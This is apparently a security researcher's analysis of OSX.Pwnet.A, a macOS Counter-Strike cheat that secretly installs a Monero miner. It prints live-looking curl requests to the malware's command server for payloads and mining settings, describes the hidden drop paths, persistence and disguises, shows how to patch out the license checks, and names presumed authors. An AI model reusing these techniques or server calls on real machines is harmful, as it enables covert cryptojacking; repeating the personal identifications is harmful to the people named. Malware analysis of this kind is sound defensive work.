OSX.Pwnet.A – CS: GO Hack and Sneaky Miner
(Photo source: Pony Strike: Global Offense by FilipinoNinja95)
We recently found a hack for Counter-Strike: Global Offensive on macOS that is also a trojan that could mine CryptoCurrencies without user consent.
According to VirusTotal Retrohunt, the threat is in the wild since the beginning of July 2017.
Warning: At the time of this writing, all URLs are live.
The domain name was registered through eNom in April 2017, 14th, and resolves to a shared web host at namecheap:
$ dig vlone.cc +short 126.96.36.199 $ dig -x 188.8.131.52 +short server205-2.web-hosting.com.
HTTPS certificate was delivered by COMODO PositiveSSL in June 2017, 27th.
Members download the same archive of the free installer than guests:
$ curl -s https://vlone.cc/portal/download.php | shasum -a 256 b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe - $ curl -s https://vlone.cc/portal/download.php -G -d user=1234 -d free | shasum -a 256 b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe -
According to the
user GET query value, members count in August 2017, 22nd, is nearly two thousand.
We don’t know if the private installer of the hack also installs the mining software without user consent.
It’s all C++ Standard Library code. Network connections use libcurl and secure HTTPS protocol.
All executables, but the miner CLI, require super-user privileges, so the user must run the installer with
$ ./vHook Root access required! Please type "sudo ./vhook"
The main binary hides itself as Dynamic Web TWAIN, an online document scanning platform.
vHook is the installer. It is packed with UPX, probably to avoid user analysis and bypass some security products.
It is a command line interface:
$ sudo ./vHook [vlone] vHook public [vlone] Username: USERNAME Password: PASSWORD [vlone] Welcome to vHook Public, USERNAME! [vlone] Downloading vHook assets.. [vlone] Inflating vHook assets.. [vlone] CS:GO is not running! [vlone] Cleaning up.. [vlone] Quitting...
With a valid member account, it downloads and extracts
$ curl -s https://vlone.cc/portal/gateway.php -G -d username=USERNAME -d password=PASSWORD -d free | xxd -l 64 00000000: 504b 0304 1400 0000 0800 8696 c14a 9c2e PK...........J.. 00000010: 55c2 b606 0000 1827 0000 0f00 1c00 626f U......'......bo 00000020: 6f74 7374 7261 702e 6479 6c69 6255 5409 otstrap.dylibUT. 00000030: 0003 9cb9 2f59 d339 8059 7578 0b00 0104 ..../Y.9.Yux....
bootstrap.dylib from osxinj project. If Counter-Strike: Global Offensive is running, it downloads and extracts some fonts (
/Library/Fonts/), and injects
It could be a perfect deal for a CS: GO user, but it turns out
vHook also sneaky downloads and extracts
/var/, changes directory to
/var and runs
sudo ./helper &.
It then kills Terminal application to hide the detached process output.
helper is the miner downloader dropper. It is also packed with UPX.
It first asks the C&C server for the name of the binary to execute upon download:
$ curl https://www.vlone.cc/abc/commands/update.php?request -F command=newfile com.dynamsoft.webhelper
/b.zip, extracts its contents to
/var/.log/, changes directory to
/var/.log/ and runs
sudo ./com.dynamsoft.WebHelper &.
At the time of this writing,
https://www.vlone.cc/abc/assets/b.zip URL response is a File Not Found 404 error code, but
https://www.vlone.cc/abc/assets/bz.zip URL is live and send the expected archive.
com.dynamsoft.WebHelper is the miner downloader. Despite the name, it is not related to Dynamsoft.
It starts by downloading and extracting:
It loads the daemon, sends computer unique identifier (UUID) and its version to C&C server, and checks if it
meetsRequirements(), i.e. running as
root and not in a debugger:
$ curl -s https://www.vlone.cc/abc/hub.php?init -F version=1.2.1 -F hwid=$(uuidgen) created continue
It then sleeps for one hour. If one is in a hurry, he or she can cut out the nap easily:
__text:0000000100016A5F BF 01 00 00 00 mov edi, 1
800; unsigned int __text:0000000100016A64 E8 5B 72 00 00 call _sleep
Once rested, it sends commands to C&C server every minute to ask if it should mine and update or kill itself:
$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F command=mine true $ curl -s https://www.vlone.cc/abc/commands/update.php?request -F command=update false $ curl -s https://www.vlone.cc/abc/commands/kill.php?request -F command=kill false
Every minute, it also creates or updates the mining thread to:
- download and extract
- get miner settings (maximum core number, currency, email address)
- check if Activity Monitor is running
- check if it is already mining
- check if it should stop mining
cd /var/.trash/.assets/; ./com.apple.SafariHelperwith appropriate arguments
WebTwainService tries to take care of
com.dynamsoft.webhelper persistency. It is again packed with UPX.
It sets its current directory to
/var/.log and runs
sudo ./com.dynamsoft.webhelper &, then recursively sleeps for one hour…
$ shasum -a 256 MinerGate-cli-4.04-Mac/minergate-cli com.apple.SafariHelper b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 MinerGate-cli-4.04-Mac/minergate-cli b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 com.apple.SafariHelper
It is written in Qt, so it comes with frameworks:
$ find /private/.trash -type f /private/.trash/.assets/com.apple.SafariHelper /private/.trash/.assets/Frameworks/QtCore.framework/Versions/5/QtCore /private/.trash/.assets/Frameworks/QtNetwork.framework/Versions/5/QtNetwork /private/.trash/.assets/Frameworks/QtSql.framework/Versions/5/QtSql /private/.trash/.assets/Frameworks/QtWebSockets.framework/Versions/5/QtWebSockets
It takes as CPU as requested by
com.dynamsoft.WebHelper so the user enjoys the delight of computer’s fans background music:
$ ps axu | grep [c]om.apple.SafariHelper root 474 200.0 0.2 2490592 14204 s000 R+ 3:07AM 3:21.87 ./com.apple.SafariHelper -user [email protected] --xmr 2
In this example, it is mining Monero (XMR) with all virtual machine cores (two: 200.0%).
Maximum core number, CryptoCurrency and email address are provided by
com.dynamsoft.WebHelper and the C&C server:
$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=cores 4 $ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=coin xmr $ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=email [email protected]
We finally ended up with
vLoader, the private installer, and, once more, it is packed with UPX.
It does many checks against the C&C server:
$ curl -s https://www.vlone.cc/pwned.php -F user=USERNAME -F pass=PASSWORD -F hwid=$(uuidgen) 204 $ curl -s https://www.vlone.cc/sub.php -F user=USERNAME 00/00/0000
They are trivial to bypass for anyone who can force a conditional jump:
__text:0000000100010570 A8 01 test al, 1 __text:0000000100010572 90 E9 05 00 00 00 j
nzloc_10001057D __text:0000000100010578 E9 08 01 00 00 jmp loc_100010685 __text:000000010001057D ; --------------------------------------------------------------------------- __text:000000010001057D __text:000000010001057D loc_10001057D: ; CODE XREF: dna8o::in(void)+862 __text:000000010001057D 48 8B 3D 94 5A 00 00 mov rdi, cs:__ZNSt3__14coutE_ptr __text:0000000100010584 48 8D 35 84 53 00 00 lea rsi, aLoggedInSucces ; "Logged in successfully"
Private payloads are downloaded and extracted to
Compared to the free injected library, the private hook is very similar:
vLoader doesn’t uninstall any of the free version naughty payloads.
GitHub owner of the vHook project is fetusfinn (original author is ViKiNG) and we coincidentally found debugger symbols matching Finn username in GitHub’s
libvHook.dylib and in all analyzed binaries:
$ for f in github.com/fetusfinn/vHook/libvHook.dylib \ vHook_unpacked helper_unpacked com.dynamsoft.WebHelper WebTwainService_unpacked do nm -a "$f" | grep -m 1 Finn done 0000000000000000 - 00 0000 SO /Users/Finn/Desktop/c++/vHook/ 0000000000000000 - 00 0000 SO /Users/Finn/Downloads/Archive/vloneLoader/ 0000000000000000 - 00 0000 SO /Users/Finn/Desktop/pwnednet/pwnednet/installer/installer/ 0000000000000000 - 00 0000 SO /Users/Finn/Desktop/pwnednet/pwnednet/pwnednet/ 0000000000000000 - 00 0000 SO /Users/Finn/Downloads/WebTwainService/WebTwainService/WebTwainService/
This is how we know Finn’s project name is
pwnednet. Shortened to pwnet, it sounds like poney in French, i.e. pony in English and, everybody loves ponies, so here you have OSX.Pwnet.A!
There also is a reference to someone named Jennifer Johansson in Xcode user data:
$ find github.com/fetusfinn/vHook -type f -path "*nnif*" github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/jenniferjohansson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/jenniferjohansson.xcuserdatad/xcschemes/vHook.xcscheme github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/jenniferjohansson.xcuserdatad/xcschemes/xcschememanagement.plist
We didn’t take the time to ask pwned’s boyfriend on Discord if Finn is much into ponies:
But, just in case, here is a Dutch Pony for Finn and her team.
From Hackestria with ❤️
EDIT: added vLoader on 2017/08/29.